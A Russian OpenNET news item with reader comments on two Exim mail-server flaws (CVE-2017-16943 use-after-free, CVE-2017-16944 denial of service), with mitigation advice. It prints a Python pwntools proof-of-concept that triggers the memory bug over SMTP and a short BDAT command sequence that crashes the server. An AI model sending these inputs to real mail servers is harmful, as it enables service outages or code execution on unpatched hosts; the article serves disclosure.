The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги | ]

27.11.2017 13:01  Уязвимость в Exim, позволяющая выполнить код на сервере

В почтовом сервере Exim выявлена критическая уязвимость (CVE-2017-16943), которая может привести к удалённому выполнению кода на сервере с правами управляющего процесса exim при передаче определённым образом оформленных команд по SMTP. Всем пользователям Exim в срочном порядке рекомендуется отключить расширение "ESMTP CHUNKING" (появилось в Exim 4.88) путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурации.

Уязвимость вызвана ошибкой, которая может привести к обращению к уже освобождённому блоку памяти в коде разбора заголовков почтового сообщения (функция receive_msg из файла receive.c). Заявлено, что известный вектор атаки применим только к веткам Exim 4.88 и 4.89, в которых поддерживается команда BDAT и расширение "ESMTP CHUNKING", предназначенные для кусочной передачи тела письма вместо передачи неделимым блоком при помощи команды DATA. При этом сторонние исследователи безопасности не исключают потенциальную возможность обнаружения других методов эксплуатации уязвимости.

Так как сведения об уязвимости были раскрыты через публично доступную систему отслеживания ошибок, без предварительного информирования в частном порядке, сведения об уязвимости опубликованы разработчиками Exim до выпуска обновления с устранением уязвимости. Для применения пока доступен только предварительный вариант патча. Обновления пакетов уже сформированы для FreeBSD. Проблема остаётся неисправленной в Debian (stretch), openSUSE, SUSE, Fedora, Ubuntu, RHEL/EPEL.

Для проверки подверженности уязвимости подготовлен прототип эксплоита, который сводится к передаче несуществующей команды с последующей отправкой команды "BDAT 1", команды BDAT без указания размера и большой порции непечатных символов. Пример на Python:


   from pwn import *
   r = remote('localhost', 25)

   r.recvline()
   r.sendline("EHLO test")
   r.recvuntil("250 HELP")
   r.sendline("MAIL FROM:")
   r.recvline()
   r.sendline("RCPT TO:")
   r.recvline()
   #raw_input()
   r.sendline('a'*0x1100+'\x7f')
   #raw_input()
   r.recvuntil('command')
   r.sendline('BDAT 1')
   r.sendline(':BDAT \x7f')
   s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
   r.send(s+ ':\r\n')
   r.recvuntil('command')
   #raw_input()
   r.send('\n')
   r.interactive()
   exit()

Кроме того, в Exim дополнительно выявлена ещё одна уязвимость в реализации "ESMTP CHUNKING" (CVE-2017-16944), позволяющая вызвать отказ в обслуживании. Как и первая проблема вторая уязвимость присутствует в функции receive_msg из файла receive.c, но связана с некорректной проверкой символа "." в конце блока, переданного командой BDAT. Уязвимость приводит к бесконечному зацикливанию внутри функции bdat_getc и краху рабочего процесса из-за истечения свободной памяти, отведённой под стек. Для эксплуатации достаточно передать команды:


   EHLO localhost
   MAIL FROM:
   RCPT TO:
   BDAT 10
   .
   BDAT 0


  1. Главная ссылка к новости (http://openwall.com/lists/oss-...)
  2. OpenNews: Обновление почтового сервера Exim 4.89
  3. OpenNews: Новая версия почтового сервера Exim 4.88 с устранением уязвимостей
  4. OpenNews: В почтовом сервере Exim 4.82.1 устранена критическая уязвимость
  5. OpenNews: Критическая локальная уязвимость в Exim
  6. OpenNews: Доступен почтовый сервер Exim 4.83 с устранением уязвимости
Лицензия: CC-BY
Тип: Проблемы безопасности
Ключевые слова: exim
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение Ajax/Линейный | Раскрыть все сообщения | RSS
 
  • 1.1, Аноним (-), 13:22, 27/11/2017 [ответить] [показать ветку] [···]    [к модератору]
  • –33 +/
    Эх, сишники... В своем репертуаре
     
     
  • 2.2, Аноним (-), 13:32, 27/11/2017 [^] [ответить]    [к модератору]
  • +21 +/
    Postfix тоже на Си, но обязательные для выполнения правила безопасного кодирования, набор безопасных функций, жесткое рецензирование и предварительный аудит, позволяют поддерживать высокую безопасного кода.

    В Exim же, на примере "ESMTP CHUNKING" и стабильно всплывающих раз в полгода похожих уязвимостей, видно, что  достаточно сырой код принимают лишь после беглого тестирования  обработки штатных ситуаций и без аудита кода.

     
     
  • 3.21, _ (??), 17:44, 27/11/2017 [^] [ответить]    [к модератору]
  • +2 +/
    >Postfix тоже на Си

    Хе-хе ... ну признают уже что это - лучший патч к Ыкзиму или ещё побарахтаются? :)

     
  • 3.48, all_glory_to_the_hypnotoad (ok), 02:52, 28/11/2017 [^] [ответить]     [к модератору]
  • +/
    Фишка даже не в этом, postfix хорошо порезан на изолированные бинари с ограничен... весь текст скрыт [показать]
     
     
  • 4.61, guest (??), 14:47, 28/11/2017 [^] [ответить]     [к модератору]  
  • +/
    угу, из второго поколения MTA вернее из троицы Exim Postfix Qmail монолитен то... весь текст скрыт [показать]
     
  • 4.71, SubGun (ok), 00:21, 30/11/2017 [^] [ответить]     [к модератору]  
  • +1 +/
    Тогда и nginx аналогичный кусок Потому что принцип работы у них вообще-то схож ... весь текст скрыт [показать]
     
  • 2.6, Andrey Mitrofanov (?), 14:06, 27/11/2017 [^] [ответить]    [к модератору]  
  • +/
    > Эх, сишники... В своем репертуаре

    Раньше и https://security-tracker.debian.org/tracker/CVE-2017-16943 Debian-ы были зеленее[I]![/I]

    ---"Эх, внучо-о-о-к..."

     
     
  • 3.24, _ (??), 17:46, 27/11/2017 [^] [ответить]    [к модератору]  
  • +/
    Тут согласен. :( Все толковые пиплы или уже в рх или пошли ветром гонимые ...
     
  • 2.13, amonymous (?), 15:13, 27/11/2017 [^] [ответить]    [к модератору]  
  • +2 +/
    Быстрый и сопоставимо с postfix/exim функциональный MTA на чём-то кроме C в студию.
     
     
  • 3.14, Sw00p aka Jerom (?), 15:17, 27/11/2017 [^] [ответить]    [к модератору]  
  • –5 +/
    так безопасней на пхп написать там же текстовый протокол
     
     
  • 4.25, _ (??), 17:47, 27/11/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    А давай! :)
     
     
  • 5.41, пох (?), 20:55, 27/11/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    чуть ли не netch@ помнится, когда-то выкладывал на awk. Ну а чо, текстовый же ж протокол...

    в нем, правда, через неделю нашли пару дыр ;-)

     
     
  • 6.75, Аноним (-), 12:45, 01/12/2017 [^] [ответить]     [к модератору]  
  • +/
    Текстовым протоколам очень удобно через всякие escape и спецтрактовки символов п... весь текст скрыт [показать]
     
  • 5.43, Sw00p aka Jerom (?), 21:42, 27/11/2017 [^] [ответить]    [к модератору]  
  • –1 +/
    Я ярый противник текстовых
     
     
  • 6.64, _ (??), 17:44, 28/11/2017 [^] [ответить]     [к модератору]  
  • +1 +/
    За четыре часа полностью отдалась Слаба на передок, тчк 8- ... весь текст скрыт [показать]
     
  • 3.36, Онаним (?), 18:47, 27/11/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    Говорят нынче люди достаточно быстрые штуки на Go пишут, например.
     
     
  • 4.74, Аноним (-), 12:34, 01/12/2017 [^] [ответить]     [к модератору]  
  • +1 +/
    А когда ими начнет кто-нибудь пользоваться - о них тоже станет известно много но... весь текст скрыт [показать]
     
  • 3.45, Vsevolod Stakhov (?), 23:10, 27/11/2017 [^] [ответить]     [к модератору]  
  • +/
    Haraka Рвет Postfix и Exim по скорости, как тузик грелку Ни один другой MTA на... весь текст скрыт [показать]
     
     
  • 4.49, . (?), 03:56, 28/11/2017 [^] [ответить]    [к модератору]  
  • +4 +/
    "Haraka is an open source SMTP server written in Node.js ..."

    Свят-свят-свят, упаси ! А потом прилетит leftpad и вся почта вашего СЕО улетит к его бывшей :)

     
     
  • 5.56, Vsevolod Stakhov (?), 11:36, 28/11/2017 [^] [ответить]    [к модератору]  
  • +/
    Да, лучше RCE. Ну и как бы node.js != leftpad и вебмакакам.
     
     
  • 6.65, _ (??), 17:46, 28/11/2017 [^] [ответить]    [к модератору]  
  • +2 +/
    >Ну и как бы node.js != leftpad и вебмакакам.

    Настало время *** историй! (С)
    8-)

     
  • 6.77, Аноним (-), 13:11, 01/12/2017 [^] [ответить]    [к модератору]  
  • +/
    > Ну и как бы node.js != leftpad и вебмакакам.

    Создайте ЯП которым может пользоваться даже вебмакака - и только вебмакака захочет этим пользоваться.


     
  • 4.58, xm (ok), 13:14, 28/11/2017 [^] [ответить]    [к модератору]  
  • +/
    Попадались описания инсталляций Exim обрабатывающие ~ 1000 в секунду. Но я не в курсе что там с железом. И спул там в RAM был точно.
     
  • 2.26, Michael Shigorin (ok), 17:58, 27/11/2017 [^] [ответить]    [к модератору]  
  • –4 +/
    Это не сишники, это вумный прохвессор и славные дебианщики, предлагающие решетчатое изделие по умолчанию.
     
     
  • 3.32, Andrey Mitrofanov (?), 18:23, 27/11/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    > Это не сишники, это вумный прохвессор

    Не путаешь https://en.wikipedia.org/wiki/Philip_Hazel с djb@qmail.fame ?

    >и славные дебианщики, предлагающие решетчатое изделие
    > по умолчанию.

     
     
  • 4.42, пох (?), 21:03, 27/11/2017 [^] [ответить]     [к модератору]  
  • +1 +/
    тот прохвессор давно уже покинул свой профессорский пост, и занимается какой-то ... весь текст скрыт [показать]
     
     
  • 5.55, Аноним (-), 09:53, 28/11/2017 [^] [ответить]    [к модератору]  
  • +/
    Надеюсь, это трендовые, британские учёные?
     
     
  • 6.57, пох (?), 12:48, 28/11/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    ну кембридж же ж, какие еще там должны быть...

     
     
  • 7.63, Andrey Mitrofanov (?), 16:06, 28/11/2017 [^] [ответить]    [к модератору]  
  • +/
    > ну кембридж же ж, какие еще там должны быть...

    Кембрижско-масачусетско-кейптаунские космополиты, 1шт. ?

     
  • 5.62, Andrey Mitrofanov (?), 16:04, 28/11/2017 [^] [ответить]     [к модератору]  
  • +1 +/
    Он-таки не профессор, а админ за всё комп оборудование в Кембридже 105 стран... весь текст скрыт [показать]
     
     
  • 6.66, _ (??), 19:04, 28/11/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    >105 страниц http://people.ds.cam.ac.uk/ph10/CIHK.pdf лёгкого чтения с каринками...

    Andrey Mitrofanov - спасибо за книжку! Читаю и нравиЦЦо :)

     
  • 2.73, Аноним (-), 12:31, 01/12/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    >  Эх, сишники... В своем репертуаре

    Ты так говоришь, как будто ошибки в софте делают только сишники.

     
  • 1.3, Аноним (-), 13:33, 27/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +2 +/
    шо, опять? (даже в предложенных новостях - одни уязвимости в сабже)
     
     
  • 2.5, нах (?), 13:49, 27/11/2017 [^] [ответить]     [к модератору]  
  • +/
    потому что новостей типа а мы chunked smtp изобрели, для совместимости с не зна... весь текст скрыт [показать]
     
     
  • 3.11, xm (ok), 14:56, 27/11/2017 [^] [ответить]     [к модератору]  
  • +/
    Справедливости ради его изобрели уж скоро как 20 лет https www ietf org rfc rf... весь текст скрыт [показать]
     
     
  • 4.20, нах (?), 17:41, 27/11/2017 [^] [ответить]     [к модератору]  
  • +1 +/
    интересней другое, где и зачем оно поддерживается chunked наверное гугль умеет,... весь текст скрыт [показать]
     
     
  • 5.59, xm (ok), 13:23, 28/11/2017 [^] [ответить]    [к модератору]  
  • +/
    > интересней другое, где и зачем оно поддерживается?

    Да там же в RFC и написано зачем - чтобы аттачи гнать в бинарной, а не base64 форме, сокращая трафик. Хотя 8BITMIME тоже теперь есть.

     
  • 1.7, Аноним (-), 14:07, 27/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +2 +/
    > путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурации

    В котором? :)

     
     
  • 2.8, Аноним (-), 14:10, 27/11/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    Очевидно же exim.conf
     
     
  • 3.69, SubGun (ok), 00:17, 30/11/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    Ну-ну. Вот только в дебианбэйзед дистрибутивах какой-то умственно отсталый напилил конфиг на 100500 мелких конфигов, и там сейчас сам черт ногу сломит.
     
     
  • 4.72, angra (ok), 07:19, 30/11/2017 [^] [ответить]     [к модератору]  
  • +/
    Умственно отсталые разве что те, кто рассказывает эту страшную сказку На деле н... весь текст скрыт [показать]
     
  • 4.76, Аноним (-), 13:10, 01/12/2017 [^] [ответить]     [к модератору]  
  • +/
    Да, еще и файлы осмысленно называют Намного лучше когда 5 страниц текста одним ... весь текст скрыт [показать]
     
  • 1.9, mag (??), 14:46, 27/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    Эм... Exim 4.89-2+deb9u1, в конфиге ничего специально не писал, на BDAT ругается что CHUNKING is not advertised.
    Это его надо было специально включать, что ли?
     
     
  • 2.15, sas (??), 15:57, 27/11/2017 [^] [ответить]    [к модератору]  
  • +/
    chunking_advertise_hosts = *
     
  • 1.18, Аноним (-), 17:32, 27/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    С
    секьюрно
     
  • 1.19, Аноним (-), 17:37, 27/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +1 +/
    А подобные ляпы в postfix были? Что-то не припоминаю.
     
     
  • 2.27, нах (?), 17:59, 27/11/2017 [^] [ответить]     [к модератору]  
  • +4 +/
    а он что, chunked smtp научился, что-ли Или binary mime если ничего толком не ... весь текст скрыт [показать]
     
     
  • 3.31, _ (??), 18:22, 27/11/2017 [^] [ответить]     [к модератору]  
  • +/
    А оно куму то уперлось Дооооо Postfix умеет надёжно и быстро принимать и доста... весь текст скрыт [показать]
     
     
  • 4.35, sas (??), 18:40, 27/11/2017 [^] [ответить]     [к модератору]  
  • +/
    тут серьезные дяди общаются, а не осиляторы конфигураторов http www postfix o... весь текст скрыт [показать]
     
     
  • 5.37, нах (?), 19:00, 27/11/2017 [^] [ответить]     [к модератору]  
  • +2 +/
    там интересней, оно как-то так удивительно вычисляло эту subnet, когда интерфейс... весь текст скрыт [показать]
     
     
  • 6.39, _ (??), 19:46, 27/11/2017 [^] [ответить]    [к модератору]  
  • +/
    Тьфу, допёрло о чем вы тут :)
    Ну и:
    >mynetworks_style (default: Postfix ≥ 3.0: host, Postfix < 3.0: subnet)

    Так что как бе - да :)

     
  • 3.44, Sw00p aka Jerom (?), 21:47, 27/11/2017 [^] [ответить]    [к модератору]  
  • +/
    Дык на 127.0.0.1


     
     
  • 4.46, нах (?), 23:55, 27/11/2017 [^] [ответить]     [к модератору]  
  • +/
    и тут тоже забавно Чтобы снять sendmail с этого ручника - надо прочитать доку... весь текст скрыт [показать]
     
     
  • 5.70, SubGun (ok), 00:20, 30/11/2017 [^] [ответить]    [к модератору]  
  • +/
    Какой-то поток сознания
     
  • 2.33, Andrey Mitrofanov (?), 18:30, 27/11/2017 [^] [ответить]     [к модератору]  
  • +1 +/
    фейворит_сиёрч_нжин тебе стальные руки-крылья не дал или склероз память укороти... весь текст скрыт [показать]
     
  • 1.50, Alex (??), 07:13, 28/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    Все равно его не брошу, потому что он хороший! :)
     
  • 1.53, Ordu (ok), 09:52, 28/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +1 +/
    > с последующей отправкой [...] большой порции непечатных символов.

    Мне одному весело от большой порции непечатных символов?

     
     
  • 2.54, Ordu (ok), 09:53, 28/11/2017 [^] [ответить]    [к модератору]  
  • +/
    Порнографических эмотиконов?
     
  • 1.60, ПравдорубЪ (?), 14:38, 28/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • –3 +/
    > расширение "ESMTP CHUNKING" (появилось в Exim 4.88)

    Пользователи свежего модного молодёжного хайпа должны страдать.

     
  • 1.67, Аноним (-), 19:31, 28/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • –2 +/
    А зачем все это включают в основную ветку? От почтового сервера нужно принять соединения и сохранить в файл. Зачем все это BDAT и прочее?
     
  • 1.68, Домохозяйка Анонима (?), 20:10, 28/11/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • –2 +/
    > ESMTP CHUNKING

    Что это и зачем оно ненужно?

     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:


      Закладки на сайте
      Проследить за страницей
    Created 1996-2018 by Maxim Chirkov  
    ДобавитьПоддержатьВебмастеруГИД  
    Hosting by Ihor